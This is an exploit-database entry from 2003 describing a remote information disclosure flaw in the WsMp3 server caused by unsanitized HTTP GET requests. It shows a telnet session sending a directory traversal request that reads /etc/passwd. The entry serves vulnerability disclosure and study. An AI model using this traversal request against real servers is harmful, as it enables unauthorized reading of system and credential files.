WSMP3 0.0.x - Remote Information Disclosure

Author: dong-h0un U
type: remote
platform: linux
port: 
date_added: 2003-05-21  
date_updated: 2012-11-11  
verified: 1  
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raw file: 22622.txt  

source: https://www.securityfocus.com/bid/7642/info


A vulnerability has been reported in WsMp3. The problem occurs due to insufficient sanitization of HTTP GET requests. As a result, an attacker may be capable of accessing the contents of sensitive system resources. Information obtained through the exploitation of this issue may aid an attacker in launching further attacks against a target system.

bash$ telnet wsmp3.server.com 8000
Trying 61.37.xxx.xx...
Connected to 61.37.xxx.xx.
Escape character is '^]'.
GET /dir/../../../../../../etc/passwd HTTP/1.0